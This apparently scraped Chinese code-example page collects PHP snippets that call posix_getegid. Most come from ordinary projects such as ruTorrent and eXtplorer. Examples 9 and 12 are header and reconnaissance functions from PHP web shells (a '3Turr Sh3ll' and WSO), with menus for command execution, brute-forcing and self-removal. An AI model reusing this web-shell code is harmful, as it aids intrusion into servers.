本文整理汇总了PHP中posix_getegid函数的典型用法代码示例。如果您正苦于以下问题:PHP posix_getegid函数的具体用法?PHP posix_getegid怎么用?PHP posix_getegid使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了posix_getegid函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: obtain
public function obtain()
{
if (function_exists('posix_geteuid') && function_exists('posix_getegid')) {
$this->myuid = posix_geteuid();
$this->mygid = posix_getegid();
} else {
$randName = '/tmp/rutorrent-' . rand() . '.tmp';
@file_put_contents($randName, '');
$ss = @stat($randName);
if ($ss) {
$this->mygid = $ss['gid'];
$this->myuid = $ss['uid'];
@unlink($randName);
}
}
$req = new rXMLRPCRequest(new rXMLRPCCommand("to_kb", floatval(1024)));
if ($req->run()) {
$this->linkExist = true;
if (!$req->fault) {
$this->badXMLRPCVersion = false;
}
$req = new rXMLRPCRequest(array(new rXMLRPCCommand("get_directory"), new rXMLRPCCommand("get_session"), new rXMLRPCCommand("system.client_version"), new rXMLRPCCommand("system.library_version"), new rXMLRPCCommand("set_xmlrpc_size_limit", 67108863)));
if ($req->run() && !$req->fault) {
$this->directory = $req->val[0];
$this->session = $req->val[1];
$this->version = $req->val[2];
$this->libVersion = $req->val[3];
$parts = explode('.', $this->version);
$this->iVersion = 0;
for ($i = 0; $i < count($parts); $i++) {
$this->iVersion = ($this->iVersion << 8) + $parts[$i];
}
if (is_dir($this->session) && isLocalMode()) {
$ss = @stat($this->session . 'rtorrent.lock');
if (!$ss) {
$ss = @stat($this->session . 'rtorrent.dht_cache');
}
if (!$ss) {
$ss = @stat($this->session);
}
if ($ss) {
$this->gid = $ss['gid'];
$this->uid = $ss['uid'];
if (!empty($this->directory) && $this->directory[0] == '~') {
if (function_exists('posix_getpwuid')) {
$ui = posix_getpwuid($this->uid);
$this->directory = $ui["dir"] . substr($this->directory, 1);
} else {
$req = new rXMLRPCRequest(new rXMLRPCCommand("execute_capture", array("echo", "~")));
if ($req->run() && !$req->fault) {
$this->directory = trim($req->val[0]) . substr($this->directory, 1);
}
}
}
}
}
$this->store();
}
}
}
示例2: install_check
public static function install_check()
{
//Check the cache folder
if (!Backend::checkConfigFile()) {
if (function_exists('posix_getgrgid') && function_exists('posix_getegid')) {
if ($group = posix_getgrgid(posix_getegid())) {
$group = $group['name'];
}
}
$values = array('file' => Backend::getConfigFileLocation(), 'group' => isset($group) ? $group : false);
Backend::addContent(Render::file('config_value.fix_config.tpl.php', $values));
return false;
}
if (self::get('settings.ConfigValueSet')) {
return true;
}
if (is_post()) {
$result = true;
foreach ($_POST as $name => $value) {
$name = str_replace('_', '.', $name);
if (in_array($name, array('application.Title', 'application.Moto', 'application.HelpBoxContent', 'application.Description', 'author.Name', 'author.Email', 'author.Website'))) {
if (!self::set($name, $value)) {
Backend::addError('Could not set ' . $name);
$result = false;
}
} else {
var_dump('Rejected:', $name);
}
}
self::set('settings.ConfigValueSet', $result);
Controller::redirect();
}
Backend::addContent(Render::file('config_value.values.tpl.php'));
return false;
}
示例3: check_file
function check_file($f)
{
echo "\nFile {$f}\n";
echo '1.' . (file_exists($f) ? ' exists' : ' does NOT exist') . " \n";
if (!file_exists($f)) {
echo 'Remaining checks skipped' . " \n";
return;
}
echo '2. is' . (is_file($f) ? '' : ' NOT') . " a file\n";
echo '3. is' . (is_readable($f) ? '' : ' NOT') . " readable\n";
echo '4. is' . (is_writable($f) ? '' : ' NOT') . " writable\n";
echo '5. has permissions ' . substr(sprintf('%o', fileperms($f)), -4) . "\n";
echo '6. owner id ' . fileowner($f) . " (0 on Windows, blank if not permitted)\n";
if (function_exists('posix_geteuid')) {
$details = posix_getpwuid(posix_geteuid());
echo '6. owner name ' . $details['name'] . " \n";
echo '6. owner gid ' . $details['gid'] . " \n";
$details = posix_getgrgid($details['gid']);
echo '6. group name ' . $details['name'] . " \n";
}
echo '7. group id ' . filegroup($f) . " (0 on Windows, blank if not permitted)\n";
if (function_exists('posix_getegid')) {
$details = posix_getgrgid(posix_getegid());
echo '7. group name ' . $details['name'] . " \n";
}
}
示例4: show_about
/**
* @version $Id: footer.php 107 2008-07-22 17:27:12Z soeren $
* @package eXtplorer
* @copyright soeren 2007
* @author The eXtplorer project (http://sourceforge.net/projects/extplorer)
* @author The The QuiX project (http://quixplorer.sourceforge.net)
*
* @license
* The contents of this file are subject to the Mozilla Public License
* Version 1.1 (the "License"); you may not use this file except in
* compliance with the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS"
* basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the
* License for the specific language governing rights and limitations
* under the License.
*
* Alternatively, the contents of this file may be used under the terms
* of the GNU General Public License Version 2 or later (the "GPL"), in
* which case the provisions of the GPL are applicable instead of
* those above. If you wish to allow use of your version of this file only
* under the terms of the GPL and not to allow others to use
* your version of this file under the MPL, indicate your decision by
* deleting the provisions above and replace them with the notice and
* other provisions required by the GPL. If you do not delete
* the provisions above, a recipient may use your version of this file
* under either the MPL or the GPL."
*
* Shows the About Box!
*/
function show_about()
{
// footer for html-page
echo "\n<div id=\"ext_footer\" style=\"text-align:center;\">\r\n\t<img src=\"" . _EXT_URL . "/images/MangosWeb_small.png\" align=\"middle\" alt=\"Mangosweb Enhanced Logo\" />\r\n\t<br />\r\n\t" . ext_Lang::msg('your_version') . ": <a href=\"" . $GLOBALS['ext_home'] . "\" target=\"_blank\">eXtplorer {$GLOBALS['ext_version']}</a>\r\n\t<br />\r\n (<a href=\"http://virtuemart.net/index2.php?option=com_versions&catid=5&myVersion=" . $GLOBALS['ext_version'] . "\" onclick=\"javascript:void window.open('http://virtuemart.net/index2.php?option=com_versions&catid=5&myVersion=" . $GLOBALS['ext_version'] . "', 'win2', 'status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=640,height=580,directories=no,location=no'); return false;\" title=\"" . $GLOBALS["messages"]["check_version"] . "\">" . $GLOBALS["messages"]["check_version"] . "</a>)\r\n\t\r\n\t";
if (function_exists("disk_free_space")) {
$size = disk_free_space($GLOBALS['home_dir'] . $GLOBALS['separator']);
$free = parse_file_size($size);
} elseif (function_exists("diskfreespace")) {
$size = diskfreespace($GLOBALS['home_dir'] . $GLOBALS['separator']);
$free = parse_file_size($size);
} else {
$free = "?";
}
echo '<br />' . $GLOBALS["messages"]["miscfree"] . ": " . $free . " \n";
if (extension_loaded("posix")) {
$owner_info = '<br /><br />' . ext_Lang::msg('current_user') . ' ';
if (ext_isFTPMode()) {
$my_user_info = posix_getpwnam($_SESSION['ftp_login']);
$my_group_info = posix_getgrgid($my_user_info['gid']);
} else {
$my_user_info = posix_getpwuid(posix_geteuid());
$my_group_info = posix_getgrgid(posix_getegid());
}
$owner_info .= $my_user_info['name'] . ' (' . $my_user_info['uid'] . '), ' . $my_group_info['name'] . ' (' . $my_group_info['gid'] . ')';
echo $owner_info;
}
echo "\r\n\t</div>";
}
示例5: getGroupId
public function getGroupId()
{
return posix_getegid();
// effective group id
// return posix_getgid(); // get real group id
// return posix_getpgid($this->pid); // get group id of current process (not working?)
}
示例6: filter
/**
* @param string
* @param int
* @return bool If the message should be passed on to the next filter or to the log handler.
* @throws Exception
*/
public function filter(LogRecord $rec)
{
// dont't filter?
if ($rec->getLevel() < $this->conf['level'] || cdCtx('cli_debug')) {
return true;
}
// get group
$group = '?';
if (($id = @posix_getegid()) !== false) {
if (($id = @posix_getgrgid($id)) !== false) {
$group = $id['name'];
}
}
// Date & Level
$msg = 'Time: ' . $rec->getTimeFormat() . "\n" . 'Group:User: ' . $group . ':' . cdUser() . "\n" . 'CWD: ' . getcwd() . "\n" . 'Level: ' . $rec->getLevelName() . "\n";
// Prefix
$prefix = $rec->getPrefix();
if ($prefix) {
$msg .= "Log Prefix: {$prefix}\n";
} else {
$prefix = 'main';
}
$msg .= "\n";
// Message
if ($rec->getThrown()) {
$msg .= ABException::format($rec->getThrown(), true, false);
}
if ($rec->getMessage()) {
$msg .= $rec->getMessage();
}
// Email headers
$headers = 'From: ' . $this->conf['from'] . "\r\nX-Mailer: contentd/" . cdVersion();
// Subject
// %e = exception name, %l = log level, %j = job name
$logLevelName = ucfirst(trim(strtolower($rec->getLevelName())));
$subject = strtr($this->conf['subject'], array('%e' => $rec->getThrown() ? get_class($rec->getThrown()) : $logLevelName, '%l' => $logLevelName, '%j' => $prefix));
// Action
if (!mail($this->conf['to'], $subject, $msg, $headers)) {
$rec->setMessage($rec->getMessage() . '. Additionaly, the Mail log filter failed to mail "' . $this->conf['to'] . '"');
}
return true;
}
示例7: handle
/**
* Handle an event.
*
* @param \League\Event\EventInterface $event The triggering event
*
* @return void
* @see \League\Event\ListenerInterface::handle()
*/
public function handle(EventInterface $event)
{
try {
// load the application server instance
/** @var \AppserverIo\Appserver\Core\Interfaces\ApplicationServerInterface $applicationServer */
$applicationServer = $this->getApplicationServer();
// write a log message that the event has been invoked
$applicationServer->getSystemLogger()->info($event->getName());
// don't do anything under Windows
if (FileSystem::getOsIdentifier() === 'WIN') {
$applicationServer->getSystemLogger()->info('Don\'t switch UID to \'%s\' because OS is Windows');
return;
}
// initialize the variable for user/group
$uid = 0;
$gid = 0;
// throw an exception if the POSIX extension is not available
if (extension_loaded('posix') === false) {
throw new \Exception('Can\'t switch user, because POSIX extension is not available');
}
// print a message with the old UID/EUID
$applicationServer->getSystemLogger()->info("Running as " . posix_getuid() . "/" . posix_geteuid());
// extract the user and group name as variables
extract(posix_getgrnam($applicationServer->getSystemConfiguration()->getGroup()));
extract(posix_getpwnam($applicationServer->getSystemConfiguration()->getUser()));
// switch the effective GID to the passed group
if (posix_setegid($gid) === false) {
$applicationServer->getSystemLogger()->error(sprintf('Can\'t switch GID to \'%s\'', $gid));
}
// print a message with the new GID/EGID
$applicationServer->getSystemLogger()->info("Running as group" . posix_getgid() . "/" . posix_getegid());
// switch the effective UID to the passed user
if (posix_seteuid($uid) === false) {
$applicationServer->getSystemLogger()->error(sprintf('Can\'t switch UID to \'%s\'', $uid));
}
// print a message with the new UID/EUID
$applicationServer->getSystemLogger()->info("Running as user " . posix_getuid() . "/" . posix_geteuid());
} catch (\Exception $e) {
$applicationServer->getSystemLogger()->error($e->__toString());
}
}
示例8: system_check_process_group
/**
* @return array {id,name,name+id}
*/
function system_check_process_group()
{
$process_gid = null;
$process_group = null;
if (function_exists('posix_getegid')) {
$process_gid = posix_getegid();
if (function_exists('posix_getgrgid') && ($process_group = posix_getgrgid($process_gid))) {
$process_group = $process_group['name'];
}
$running_as = sprintf('%s (gid %s)', $process_group ? $process_group : '?', !is_null($process_gid) ? $process_gid : '?');
} else {
$running_as = '(' . T_('Unknown') . ')';
}
return array($process_gid, $process_group, $running_as);
}
示例9: yemenhead
function yemenhead()
{
if (empty($_POST['charset'])) {
$_POST['charset'] = $GLOBALS['default_charset'];
}
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace ? $totalSpace : 1;
$on = "<font color=#0F0> ON </font>";
$of = "<font color=red> OFF </font>";
$none = "<font color=#0F0> NONE </font>";
if (function_exists('curl_version')) {
$curl = $on;
} else {
$curl = $of;
}
if (function_exists('mysql_get_client_info')) {
$mysql = $on;
} else {
$mysql = $of;
}
if (function_exists('mssql_connect')) {
$mssql = $on;
} else {
$mssql = $of;
}
if (function_exists('pg_connect')) {
$pg = $on;
} else {
$pg = $of;
}
if (function_exists('oci_connect')) {
$or = $on;
} else {
$or = $of;
}
if (@ini_get('disable_functions')) {
$disfun = '<span>Disabled functions : </span><font color=red style="word-wrap: break-word;width: 80%; " >' . @str_replace(',', ', ', @ini_get('disable_functions')) . '</font>';
} else {
$disfun = "<span>Disabled Functions: </span><font color=#00ff00 >All Functions Enable</font>";
}
if (@ini_get('safe_mode')) {
$safe_modes = "<font color=red>ON</font>";
} else {
$safe_modes = "<font color=#0F0 >OFF</font>";
}
if (@ini_get('open_basedir')) {
$open_b = @ini_get('open_basedir');
} else {
$open_b = $none;
}
if (@ini_get('safe_mode_exec_dir')) {
$safe_exe = @ini_get('safe_mode_exec_dir');
} else {
$safe_exe = $none;
}
if (@ini_get('safe_mode_include_dir')) {
$safe_include = @ini_get('safe_mode_include_dir');
} else {
$safe_include = $none;
}
if (!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n = count($path);
for ($i = 0; $i < $n - 1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for ($j = 0; $j <= $i; $j++) {
$cwd_links .= $path[$j] . '/';
}
$cwd_links .= "\")'>" . $path[$i] . "/</a>";
}
$drives = "";
foreach (range('c', 'z') as $drive) {
if (is_dir($drive . ':')) {
$drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . base64_encode($drive . ':/') . '\')">[ ' . $drive . ' ]</a> ';
}
}
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>3Turr ~ Sh3ll</title>
<link rel="shortcut icon" type="image/x-icon" href="https://avatars1.githubusercontent.com/u/13343571?v=3&s=460">
<script language="javascript">
function Encoder(name)
{
var e = document.getElementById(name);
//.........这里部分代码省略.........
示例10: cleanFileSytemRight
public static function cleanFileSytemRight()
{
$processUser = posix_getpwuid(posix_geteuid());
$processGroup = posix_getgrgid(posix_getegid());
$user = $processUser['name'];
$group = $processGroup['name'];
$path = dirname(__FILE__) . '/../../';
exec('sudo chown -R ' . $user . ':' . $group . ' ' . $path);
}
示例11: list_dir
//.........这里部分代码省略.........
echo "<img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" ";
echo "src=\"" . _QUIXPLORER_URL . "/images/_logout.gif\" alt=\"" . $GLOBALS["messages"]["logoutlink"] . "\" title=\"";
echo $GLOBALS["messages"]["logoutlink"] . "\"></a></td>\n";
}
// Logo
echo "<td style=\"padding-left:10px;\">";
//echo "<div style=\"margin-left:10px;float:right;\" width=\"305\" >";
echo "<a href=\"" . $GLOBALS['jx_home'] . "\" target=\"_blank\" title=\"joomlaXplorer Project\"><img border=\"0\" align=\"absmiddle\" id=\"jx_logo\" style=\"filter:alpha(opacity=10);-moz-opacity:.10;opacity:.10;\" onmouseover=\"opacity('jx_logo', 60, 99, 500);\" onmouseout=\"opacity('jx_logo', 100, 60, 500);\" ";
echo "src=\"" . _QUIXPLORER_URL . "/images/logo.gif\" align=\"right\" alt=\"" . $GLOBALS['messages']['logolink'] . "\"></a>";
//echo "</div>";
echo "</td>\n";
echo "</tr></table></td>\n";
// Create File / Dir
if ($allow && @$GLOBALS['jx_File']->is_writable(get_abs_dir($dir))) {
echo "<td align=\"right\">\n\t\t\t\t<form action=\"" . make_link("mkitem", $dir, NULL) . "\" method=\"post\" name=\"mkitemform\">\n\n\t\t\t\t<table><tr><td>\n\t\t\t\t\t<select name=\"mktype\" onchange=\"checkMkitemForm(this.options[this.selectedIndex])\">\n\t\t\t\t\t\t<option value=\"file\">" . $GLOBALS["mimes"]["file"] . "</option>\n\t\t\t\t\t\t<option value=\"dir\">" . $GLOBALS["mimes"]["dir"] . "</option>";
if (!jx_isFTPMode() && !$GLOBALS['isWindows']) {
echo "\t\t\t<option value=\"symlink\">" . $GLOBALS["mimes"]["symlink"] . "</option>\n";
}
echo "\t\t</select>\n\t\t\t\t\t<input name=\"symlink_target\" type=\"hidden\" size=\"25\" title=\"{$GLOBALS['messages']['symlink_target']}\" value=\"{$GLOBALS['mosConfig_absolute_path']}\" />\n\t\t\t\t\t<input name=\"mkname\" type=\"text\" size=\"15\" title=\"{$GLOBALS['messages']['nameheader']}\" />\n\t\t\t\t\t<input type=\"submit\" value=\"" . $GLOBALS["messages"]["btncreate"] . "\" />\n\t\t\t\t\t</td></tr>\n\t\t\t\t\t<tr><td id=\"quick_jumpto\">" . list_bookmarks($dir) . "</td></tr>\n\t\t\t\t</table>\n\t\t\t\t<script type=\"text/javascript\">function checkMkitemForm( el ) { if( el.value =='symlink' ) document.mkitemform.symlink_target.type='text'; else document.mkitemform.symlink_target.type='hidden';} </script>\n\t\t\t\t</form>\n\t\t\t </td>\n";
} else {
echo "<td align=\"right\">\n\t\t\t\t<table><tr><td id=\"quick_jumpto\">" . list_bookmarks($dir) . "</td></tr></table>\n\t\t\t </td>";
}
echo "</tr></table>\n";
// End Toolbar
// Begin Table + Form for checkboxes
echo "<form name=\"selform\" method=\"post\" action=\"" . make_link("post", $dir, null) . "\">\n\t<input type=\"hidden\" name=\"do_action\" /><input type=\"hidden\" name=\"first\" value=\"y\" />\n\t<table class=\"adminlist\" width=\"95%\">\n";
if (extension_loaded("posix")) {
$owner_info = '<th width="15%" class="title">' . $GLOBALS['messages']['miscowner'] . ' ';
if (jx_isFTPMode()) {
$my_user_info = posix_getpwnam($_SESSION['ftp_login']);
$my_group_info = posix_getgrgid($my_user_info['gid']);
} else {
$my_user_info = posix_getpwuid(posix_geteuid());
$my_group_info = posix_getgrgid(posix_getegid());
}
$owner_info .= mosTooltip(mysql_escape_string(sprintf($GLOBALS['messages']['miscownerdesc'], $my_user_info['name'], $my_user_info['uid'], $my_group_info['name'], $my_group_info['gid'])));
// new [mic]
$owner_info .= "</th>\n";
$colspan = 8;
} else {
$owner_info = "";
$colspan = 7;
}
// Table Header
echo "<tr>\n\t<th width=\"2%\" class=\"title\">\n\t\t<input type=\"checkbox\" name=\"toggleAllC\" onclick=\"javascript:ToggleAll(this);\" />\n\t</th>\n\t<th width=\"34%\" class=\"title\">\n";
if ($GLOBALS["order"] == "name") {
$new_srt = $_srt;
} else {
$new_srt = "yes";
}
echo "<a href=\"" . make_link("list", $dir, NULL, "name", $new_srt) . "\">" . $GLOBALS["messages"]["nameheader"];
if ($GLOBALS["order"] == "name") {
echo $images;
}
echo '</a>';
echo "</th>\n\t<th width=\"10%\" class=\"title\">";
if ($GLOBALS["order"] == "size") {
$new_srt = $_srt;
} else {
$new_srt = "yes";
}
echo "<a href=\"" . make_link("list", $dir, NULL, "size", $new_srt) . "\">" . $GLOBALS["messages"]["sizeheader"];
if ($GLOBALS["order"] == "size") {
echo $images;
}
echo "</a></th>\n\t<th width=\"14%\" class=\"title\">";
示例12: wsoHeader
function wsoHeader()
{
if (empty($_POST['charset'])) {
$_POST['charset'] = $GLOBALS['default_charset'];
}
global $color;
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title> \n<style> \nbody {background-color:#000;color:#fff;} \nbody,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top; } \nspan,h1,a{ color: {$color} !important; } \nspan{ font-weight: bolder; } \nh1{ border:1px solid {$color};padding: 2px 5px;font: 14pt Verdana;margin:0px; } \ndiv.content{ padding: 5px;margin-left:5px;} \na{ text-decoration:none; } \na:hover{ background:#ff0000; } \n.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; } \n.bigarea{ width:100%;height:250px; } \ninput, textarea, select{ margin:0;color:#00ff00;background-color:#000;border:1px solid {$color}; font: 9pt Monospace,'Courier New'; } \nform{ margin:0px; } \n#toolsTbl{ text-align:center; } \n.toolsInp{ width: 80%; } \n.main th{text-align:left;} \n.main tr:hover{background-color:#5e5e5e;} \n.main td, th{vertical-align:middle;} \npre{font-family:Courier,Monospace;} \n#cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);} \n</style> \n<script> \n var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "'; \n var a_ = '" . htmlspecialchars(@$_POST['a']) . "'\n var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "'; \n var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "'; \n var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "'; \n var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "'; \n var d = document; \n function set(a,c,p1,p2,p3,charset) { \n if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; \n if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; \n if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; \n if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; \n if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; \n if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; \n } \n function g(a,c,p1,p2,p3,charset) { \n set(a,c,p1,p2,p3,charset); \n d.mf.submit(); \n } \n function a(a,c,p1,p2,p3,charset) { \n set(a,c,p1,p2,p3,charset); \n var params = 'ajax=true'; \n for(i=0;i<d.mf.elements.length;i++) \n params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); \n sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params); \n } \n function sr(url, params) { \n if (window.XMLHttpRequest) \n req = new XMLHttpRequest(); \n else if (window.ActiveXObject) \n req = new ActiveXObject('Microsoft.XMLHTTP'); \n if (req) { \n req.onreadystatechange = processReqChange; \n req.open('POST', url, true); \n req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded'); \n req.send(params); \n } \n } \n function processReqChange() { \n if( (req.readyState == 4) ) \n if(req.status == 200) { \n var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm'); \n var arr=reg.exec(req.responseText); \n eval(arr[2].substr(0, arr[1])); \n } else alert('Request error!'); \n } \n</script> \n<head><body><div style='position:absolute;width:100%;background-color:#000;top:0;left:0;'> \n<form method=post name=mf style='display:none;'> \n<input type=hidden name=a> \n<input type=hidden name=c> \n<input type=hidden name=p1> \n<input type=hidden name=p2> \n \n<input type=hidden name=p3> \n<input type=hidden name=charset> \n</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace ? $totalSpace : 1;
$release = @php_uname('r');
$kernel = @php_uname('s');
if (!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n = count($path);
for ($i = 0; $i < $n - 1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for ($j = 0; $j <= $i; $j++) {
$cwd_links .= $path[$j] . '/';
}
$cwd_links .= "\")'>" . $path[$i] . "/</a>";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach ($charsets as $item) {
$opt_charsets .= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
}
$m = array('Sec Info' => 'SecInfo', 'Files' => 'FilesMan', 'Exec' => 'Console', 'Sql' => 'Sql', 'PHP Tools' => 'phptools', 'LFI' => 'lfiscan', 'Php' => 'Php', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'XSS Shell' => 'XSSShell', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
if (!empty($GLOBALS['auth_pass'])) {
$m['Logout'] = 'Logout';
}
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach ($m as $k => $v) {
$menu .= '<th width="' . (int) (100 / count($m)) . '%">[<a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a>]</th>';
}
$drives = "";
if ($GLOBALS['os'] == 'win') {
foreach (range('c', 'z') as $drive) {
if (is_dir($drive . ':\\')) {
$drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
}
}
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' </nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=#00bb00><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' (' . (int) ($freeSpace / $totalSpace * 100) . '%)<br>' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}
示例13: sk_fileinfo
function sk_fileinfo($filename)
{
if (!file_exists($filename)) {
echo "<p style='color:red'>Die Datei <b><code>{$filename}</code></b> existiert nicht! Wurden alle Dateien im richtigen Verzeichnis installiert?</p>";
} else {
if (!is_readable($filename)) {
echo "<p style='color:red'>Die Datei <b><code>{$filename}</code></b> existiert zwar, ist aber für dieses PHP-Skript nicht lesbar! Bitte kontrollieren Sie die Leserechte der Datei.</p>";
} else {
echo "\n<p style='color:red'>Die Datei <b><code>{$filename}</code></b> kann von diesem PHP-Skript leider nicht geöffnet werden! Bitte kontrollieren Sie die Leserechte der Datei.</p>\n";
}
$sk_stat = stat($filename);
if (substr(PHP_OS, 0, 3) != 'WIN' && ($sk_stat['mode'] & 04) == 0) {
echo '<p style="color:red">Es besteht kein Leserecht für alle. Dieses können Sie mit <code>chmod a+r</code> setzen.</p>';
}
if (function_exists('posix_getegid')) {
if (posix_getegid() != $sk_stat['gid']) {
$gid1 = posix_getgrgid($sk_stat['gid']);
$gid2 = posix_getgrgid(posix_getegid());
echo '<p>Andere Gruppe (' . $gid1['name'] . ' = ' . $sk_stat['gid'] . ') als das PHP-Skript (' . $gid2['name'] . ' = ' . posix_getegid() . '). Evtl. mit <code>chgrp</code> ändern.</p>';
} else {
if (($sk_stat['mode'] & 040) == 0) {
echo '<p style="color:red">Gleiche Gruppe wie das PHP-Skript, aber kein Leserecht für die Gruppe. Dieses können Sie mit <code>chmod g+r</code> setzen.</p>';
}
}
}
if (function_exists('posix_geteuid')) {
if (posix_geteuid() != $sk_stat['uid']) {
$uid1 = posix_getpwuid($sk_stat['uid']);
$uid2 = posix_getpwuid(posix_geteuid());
echo '<p>Anderer User (' . $uid1['name'] . ' = ' . $sk_stat['uid'] . ') als das PHP-Skript (' . $uid2['name'] . ' = ' . posix_geteuid() . '). Evtl. mit <code>chown</code> ändern.</p>';
} else {
if (($sk_stat['mode'] & 0400) == 0) {
echo '<p style="color:red">Gleicher User wie das PHP-Skript, aber kein Leserecht für den User. Dieses können Sie mit <code>chmod u+r</code> setzen.</p>';
}
}
}
echo '<table border=1 cellspacing=1 cellpadding=3 summary="Dateieigenschaften">';
if (substr(PHP_OS, 0, 3) != 'WIN') {
echo '<tr><td align="right">Zugriffsrechte</td><td>' . substr(sprintf("%o", $sk_stat['mode']), -3) . ' = ' . mfunGetPerms($sk_stat['mode']) . '</td></tr>' . "\n";
}
echo '<tr><td align="right">Dateigröße</td><td>' . number_format($sk_stat['size'], 0, ',', '.') . ' Bytes</td></tr>' . "\n";
echo '<tr><td align="right">Letzter Dateizugriff</td><td>' . date('d.m.Y H:i:s', $sk_stat['atime']) . '</td></tr>' . "\n";
echo '<tr><td align="right">Letzte Dateiänderung</td><td>' . date('d.m.Y H:i:s', $sk_stat['mtime']) . '</td></tr>' . "\n";
echo '<tr><td align="right">Letzte Änderung der Dateieigenschaften</td><td>' . date('d.m.Y H:i:s', $sk_stat['ctime']) . '</td></tr>' . "\n";
echo '</table>';
}
}
示例14: maybeGetWebserverPrimaryGroup
/**
* On POSIX systems return the primary group of the webserver we're running under.
* On other systems just returns null.
*
* This is used to advice the user that he should chgrp his mw-config/data/images directory as the
* webserver user before he can install.
*
* Public because SqliteInstaller needs it, and doesn't subclass Installer.
*
* @return mixed
*/
public static function maybeGetWebserverPrimaryGroup()
{
